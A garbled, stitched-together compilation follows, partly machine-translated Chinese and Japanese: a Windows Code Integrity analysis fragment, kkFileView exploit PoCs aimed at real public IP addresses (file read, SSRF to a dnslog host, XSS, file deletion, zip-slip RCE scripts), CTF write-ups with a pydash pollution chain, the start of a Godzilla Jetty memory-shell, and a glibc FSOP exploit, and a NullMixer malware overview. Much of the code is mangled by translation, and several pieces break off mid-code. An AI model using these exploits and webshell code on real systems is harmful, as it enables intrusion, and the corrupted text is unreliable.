這幾乎就是我們將在winload 期間看到的SAC 初始化的全部內容。

下面的捕獲顯示了在轉換到操作系統之前如何設置這些數據。

13.png

操作系統初始化期間的SAC看看內核如何初始化CI。在此之後,我們將了解CI 如何初始化Winload 提供的策略。最後,再看看它如何從這些策略中確定SAC 是否能夠相應地採取行動。

14.jpg

在操作系統初始化期間,更具體地說是在階段1。內核將調用方法CiInitialize(由ci.dll 導出)。該函數主要用於內核和CI 交換API。內核接收SeCiCallbacks,其中包含內核將用於與CI 交互的函數指針。另一方面,CI DLL 接收SeCiPrivateApis,其中包含VSL HVCI 接口等內核函數,因此CI 可以在進行任何HVCI 驗證時通過內核觸發Hypercall。內核還將傳遞初始的CodeIntegrity 選項。這些選項由Windows 加載程序構建並存儲在LOADER_PARAMETER_CI_EXTENSION 中。這些選項最初將包含諸如CodeIntegrity BCD 選項(DisableIntegrityChecks、AllowPrereleaseSignatures、AllowFlightSignatures)和WHQL 設置之類的內容。 CI 選項存儲在全局變量g_CiOptions 中,CI 還將根據從操作系統和策略中檢索到的信息更新它們。

仍然在操作系統的第1 階段期間,內核將在整個CI 回調中調用CiInitializePolicy。該例程將接收LOADER_PARAMETER_CI_EXTENSION 作為第一個參數。該例程將調用它的私有對應項CipInitializeSiPolicy。該函數將調用SIPolicyInitializeFromSerializedPolicies 來驗證、解析和加載來自加載程序參數CI 擴展的序列化策略。與winload 相同,如果策略解析正確,則策略將添加到g_SiPolicyHandles 和g_SiPolicyCtx。更重要的是,如果正確解析了序列化策略,則將調用函數CipUpdateCiSettingsFromPolicies。此方法根據每個策略的PolicyRules 更新全局CI 設置。在此函數中,CI 將通過調用SIPolicyNightsWatchEnabled 檢查是否啟用了SAC。

15.png

這個函數很有趣,我們終於可以開始研究SI 策略結構了。該函數將調用SIPolicyQueryOneSecurityPolicy。該例程具有以下原型:

16.png

這種方法在處理SI策略時經常出現。 Since用於檢查/獲取策略中設置的SecureSettings。策略結構(我個人將該結構命名為SI_POLICY)有以下兩個成員:SecureSettingsCount 和SecureSettingsData。

17.png

解析序列化策略時,所有安全設置所需的內存將被分配並存儲在SecureSettingsData 指針中。每當CI 必須查詢安全設置時,它會調用SIPolicyQueryOneSecurityPolicy 並使用它需要查找的Provider、Key 和ValueName。在內部,該函數會將這三個值存儲在一個結構中,該結構將用作bsearch 函數中的Key。搜索的基礎將設置為策略的SecureSettingsData。 CompareFunction 設置為SIPolicySecureSettingSearchCompare。 CompareFunction 將嘗試將SECURE_SETTINGS_DATA 中的Provider、Key 和ValueName 正在查詢的內容進行匹配。每個值的比較是使用RtlCompareUnicodeString 完成的。

在我們的示例中,當查看是否啟用了SAC(在SIPolicyNightsWatchEnabled 內部)時,傳遞給查詢函數的值如下:

Provider:Microsoft

Key:WindowsLockdownPolicySettings

ValueName:VerifiedAndReputableTrustMode如果在策略中找到安全設置,則認為SAC 已啟用,並將在g_CiPolicyState 中設置值NW_ENABLED (0x4000)。

這些值也以策略的XML 格式顯示。如果你檢查附錄中的實施和評估XML,你將看到此安全設置在兩者中都設置為true。

僅僅為了完成,PolicyState是一個位字段,它可以取以下值(有些值沒有),這些值大多取自函數CiInstrumentSiPolicyInfo的ETW事件元數據。

18.png

下圖顯示了在SIPolicyNightsWatchEnabled 中調用SIPolicyQueryOneSecurityPolicy 之前的狀態,其中SAC 強制策略用於查詢。

HireHackking

kkFileView漏洞总结

0x00 kkFileview存在任意文件读取漏洞

漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFileView" 漏洞证明 r12j2c5w4yr13843.png    http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd yq0vc5iqowd13846.png

0x01 kkFileView SSR 漏洞

洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 洞证明 cseuzspieeb13847.png d4j5j5pkab313851.png http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn r45k2512yci13853.png e2pnl2pymw213854.png        

0x03 kkFileView XSS漏洞

漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D       http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E vxkadhfxnx413857.png   http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D fhzfy4vkm0j13858.png   <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 2sc5hu2hfcz13863.png

0x04 kkFileView任意文件上传导致xss和文件包含漏洞

漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明

1、上传文件

 

eh3gubz33p013865.png  

 

 

1g4osmdvwds13867.png  

 

2、访问漏洞位置
http://139.9.101.60:8012/demo/2.html

 

me0mdnepcgr13868.png   rmzje3fvj5f13871.png  

2.文件包含:

https://file.keking.cn/demo/test1.js
image
访问:
https://file.keking.cn/demo/test14.html
image

 

0x05 kkFileView任意文件删除漏洞

漏洞描述

kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除

漏洞影响

kkFileview= v4.0.0

漏洞证明

/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 31el1s2l2qw13878.png ceiqsllq5a413881.png

0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞

漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响

任意文件上传
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ueeeeee'
        binary2 = b'hacked_by_1ue'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

img

上传文件并预览

img

img

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意的zip包 上传并预览

img

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

img

可以看到命令成功被执行

img

uno.py中也确实被写入了内容

   

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

1。 pwn

1.nullulllllu

libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。

io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。

exp

PWNインポートから *

Struct Import Packから

ctypesからインポート *

base64をインポートします

サブプロセスのインポート実行から

#from libcsearcherインポート *

Struct Import Packから

TTYをインポートします

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'ctf2024-entry.r3kapig.com'、30371)

#p=remote( '127.0.0.1'、9999)

elf_patch='./chall'

#p=process(elf_patch)

elf=elf(elf_patch)

libc=elf( './libc.so.6')

SLA(b ''、b'1 ')

rl(b'0x ')

libc_base=int(r(12)、16)# +0x6d80

環境=libc_base + libc.sym ['__環境']

システム、binsh=get_sb()

stdin=libc_base + libc.sym ['_ io_2_1_stdin_']

stdin_io_buf_base=stdin + 7*8

stdin_old_value=stdin +0x83

stdout=libc_base + libc.sym ['_ io_2_1_stdout_']

stderr=libc_base + libc.sym ['_ io_2_1_stderr_']

#ステップ2 : printf -stdout -house of apple2

システム、binsh=get_sb()

_io_wfile_jumps=libc_base +0x202228

base_addr=stdout

fake_io=b 'sh; \ x00 \ x00 \ x00'

fake_io=fake_io.ljust(0x68、b '\ x00')

fake_io +=p64(system)

fake_io=fake_io.ljust(0x88、b '\ x00')

fake_io +=p64(base_addr +0x5000)#_lock

fake_io +=p64(0)*2

fake_io +=p64(base_addr)

fake_io=fake_io.ljust(0xd8、b '\ x00')

fake_io +=p64(_io_wfile_jumps -0x20)

fake_io=fake_io.ljust(0xe0、b '\ x00')

fake_io +=p64(base_addr)

SLA(b ''、b'2 ')

SLA(b'mem: '、hex(stdin_io_buf_base)))

#debug( 'b *$ rebase(0x12c3)')

sa(b ''、p64(stdin_old_value)*3 + p64(base_addr) + p64(base_addr + len(fake_io) + 1))

睡眠(1)

SL(fake_io)

lg( 'libc_base'、libc_base)

inter()

Pause()

2。フォレンジック

1.tpa 01

E01ミラーは火の目に直接投げられ、ネストされた証拠を分析します

1049983-20241005123634198-863951153.jpg

実際、私がこの質問をしていたとき、分析プロセスは非常に複雑でした。私は複雑すぎると感じました。その理由は、私が経験が少なすぎたからです。私もそれをシミュレートし始めました。

フォルダをめくるときは、WSLを見つけて、ネストされた証拠を組み合わせます。予想されるソリューションは、このシステムを復元することであるべきだと思います。

1049983-20241005123635438-1986591366.jpgしかし、幸いなことに、証拠収集ツールがあります。あなたはそれを回復せずにそれをすることができます。ファイルシステムを慎重に検索しなかったため、以下は私が見つけた別の方法です。

010 ciphertextを掘り出すだけです

1049983-20241005123636208-712348146.jpg

しかし、あなたはそれを火の目で直接見ることができ、あなたはまた、キーについてのプロンプトを見ることができます。

1049983-20241005123636839-420522205.png

鍵:

YouTubeでビデオを見るのが好きですか?

F14G:

こんにちはプレーヤー、ようこそ!Ops、それは何ですか?

プロンプトに応じて、どこかから何かを選択してください私はそれがSQLステートメントと関係があるはずだと思います

最初にキーで言及されているビデオを見てみましょう

1049983-20241005123637427-1989273656.jpg文字列があります。来て、見てください

0x6D617962652075206E6565642C746861742773206E6F74206162736F6C7574650A726F6F743A5040357357307264446464466F7255

たぶんあなたは必要です、それは絶対的ではありません

root:p@5SW0RDFORU 1049983-20241005123638116-1629312263.pngにパスワードが与えられました。 MySQLにログインして、正常にログインしてください。

1049983-20241005123638719-878532988.png 1049983-20241005123639290-416150928.pngSelect * Secretから。1049983-20241005123640012-298815255.jpg 1049983-20241005123640629-927545123.jpg

ffd8の頭、一目、jpg画像、保存、aes復号化キーを与える

実際、プロジェクトIBD2SQLを使用して、データベースSecret.ibdを復号化することもできます。1049983-20241005123641303-237871512.png 1049983-20241005123642062-415239806.jpg

2.tpa 02

2つの部分:1つは攻撃者の携帯電話番号を見つけることです。もう1つはペギーのログインパスワードを見つけ、最初にトラフィックを見て、TCPフローを直接追跡し、31番目のフローでログインログインページを見つけます

image-20240611170304555

最初のフラグは、Android電話がSMSメッセージを保存する場所から見つかります

image-20240611170358276

指定された携帯電話フォルダーを見てください。 Fire Eyeを使用して、2つの携帯電話番号を分析します。

1049983-20241005123644087-129601060.pngコンテキストによると、その数は15555215556であることを知ることができます。これはペギーの同僚であるはずです。ペギーがフィッシング情報を受け取ったかどうかを尋ねてください。

次に、以下の1555215558は攻撃者の携帯電話番号になるはずです。直接結合されます。

R3CTF {15555215558_L0V3_AND_PEACE}

iii。ミス

1.Blizzard CNが再起動

ShadowEditorを使用

1049983-20241005123644830-198434124.jpg

image-20240611170732676

image-20240611170748000

2.hideandseek

ベンは、かくれんぼをするのが大好きな超大国です。彼は誰も彼を見つけることができない場所にどこにでもテレポートすることができますが、彼は彼の能力が特定の範囲内でのみ機能することに気づいていないようです

ルール:

愛らしいベンは、(0、-50、0)から(128、50、128)の範囲内にのみ表示されます。

ベンは10秒ごとになり、10秒後に新しい場所に再び現れます。

すべてのプレーヤーが任意の座標にテレポートするために「newtp」が追加されました。

Info: 34.81.163.238を接続します

バージョン1.19.2は非常に抽象的なMCゲームの質問です。最初は、PCL2エミュレーターを使用してゲームに参加してプレイしました

image-20240611194137010

NewTPコマンドを提供していることがわかりました。また、MCのTPコマンドの使用方法を学ぶために多くのチュートリアルをチェックしましたが、役に立たないことがわかりました。私はしばらくの間地図を歩き回りました。

Newtpを使用して、いくつかの座標を送信します。コマンド形式は次のとおりです

送信される座標(x、y、z)

newtp x y zログログファイルを直接フリップしてフラグを見つけます

image-20240611194432924

丸太を読んでください、そしてあなたは「ベン」の体タイプが村人であるべきであることがわかります、そして彼の名前は旗です

r3ctf {jus7_play_m0r3_h1de_2nd_seek_w1th_ben}

3.transit

1049983-20241005123648414-1514241253.jpg

撮影場所に非常に似ているB Stationのビデオでカバーを検索します。 19行目に沿ってPOVを見つけます。ビデオbv1ie411m7avは撮影場所です。フレームごとにフレームを再生し、3:35で見つけてください。R3CTF{Hangzhou_Zhixing_road_Station}

1049983-20241005123649086-1267414652.jpg

Hint:S1611およびS1613は、列車ではなく、信号光の数になります。 https://www.cnblogs.com/qq2962269558/p/12743383.htmlは、アップリンクとダウンリンク(x)を使用して列車の方向を定義します。電動駆動型EMU

4.礼拝堂

0.85を超える場合は、間違いなく1です。

frommpwnimport*

p=remote( 'ctf2024-entry.r3kapig.com'、31395)

Foriinrange(500):

a=p.recvuntil(b'top_10_pred: [')

b=p.recvuntil(b ']')

b=b.decode()。置換( '['、 '')。置換( ']、' ')。分割('、 ')

c=float(b [0])

IFC=0.9:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'1')

else:

p.sendlinefter(b'isthispictureinthetrainingset? '、b'0')

print(f'no。{i}={c}、num={num} ')

flag=p.recvline()

印刷(フラグ)

P.Close()もちろん、スコープは合理的に変更できます

1049983-20241005123649655-2063342577.jpg

r3ctf {cain_like_a1_4nd_rec_8772b609d39f}

5.hideandseek

不正行為は数秒です

1049983-20241005123650262-888396391.jpg

非常に優れた村人、私の視点と追跡回転を作ってください

6.h1de@ndse3k

MCがブロックをレンダリングすると、ログが数秒で表示されるように記録されます。

1049983-20241005123650893-1618764647.jpg CEを使用して、java.exeプロセスには「R3CTF」、「R3CTF」、「フラグ」が多いことを確認します。村人の名前は記憶の中で単純なテキストに保存されていると推測されています。写真を実行した後、

1049983-20241005123651685-445066128.jpgp.s.テスト後、旅行マップ(Journeymap-1.19.2-5.9.8-fabric)をロードした後にのみ、村人の名前を記憶に載せることができます。旅行地図にいくつかのクリーチャーNBTを記録することは合理的です。

または旗を爆破するだけです()

1049983-20241005123652376-1919325320.jpg

7.壁をbehind

defcallback(re):

Re=5

re=getattr(getattr(getattr( 'a'、f'e {f'n '} c {f'o'} d {f'e '}')()( )、f'f {f'r '} o {f'm'} h {f'e '} x')(f '{re} f')、f'd {f'e '} c {f'o'} d {

sl-abstract-malicious-binary-code-1200-1200x600.jpg

NullMixer 是導致各種惡意軟件家族感染鏈的投放程序,它通過惡意網站傳播,這些網站主要可以通過搜索引擎找到。這些網站通常與非法下載軟件的破解、註冊機和激活程序有關,雖然它們可能偽裝成合法軟件,但實際上包含一個惡意軟件投放程序。

看起來這些網站正在使用SEO 來提高其搜索排名,從而在互聯網上搜索“crack”和“keygen”時很容易找到它們。當用戶嘗試從其中一個網站下載軟件時,他們會被多次重定向,並最終進入一個包含下載說明和偽裝成所需軟件的受密碼保護的壓縮文件惡意軟件的頁面。當用戶提取並執行NullMixer 時,它會將許多惡意軟件文件投放到受感染的計算機上。這些惡意軟件家族可能包括後門、銀行木馬、憑證竊取程序等。例如,NullMixer 投放了以下惡意軟件:SmokeLoader/Smoke、LgoogLoader、Disbuk、RedLine、Fabookie、ColdStealer。

初始感染NullMixer 的感染媒介基於一個“用戶執行”惡意鏈接,該鏈接要求最終用戶點擊並下載受密碼保護的ZIP/RAR 壓縮文件,其中包含手動提取和執行的惡意文件。

NullMixer的整個感染鏈如下:

用戶訪問網站以下載破解軟件、註冊機或激活程序。該活動似乎針對任何希望下載破解軟件的人,並使用SEO 技術使這些惡意網站在搜索引擎結果中更加突出。

1.png

谷歌搜索引擎搜索結果中“破解軟件”的頂部包含提供NullMixer的惡意網站

用戶點擊所需軟件的下載鏈接;

該鏈接將用戶重定向到另一個惡意網站;

惡意網站將用戶重定向到第三方IP 地址網頁;

該網頁指示用戶從文件共享網站下載受密碼保護的ZIP 文件。

2.png

惡意軟件執行指令

用戶提取帶有密碼的壓縮文件;

用戶運行安裝程序並執行惡意軟件。

3.jpg

NullMixer 感染鏈執行示例

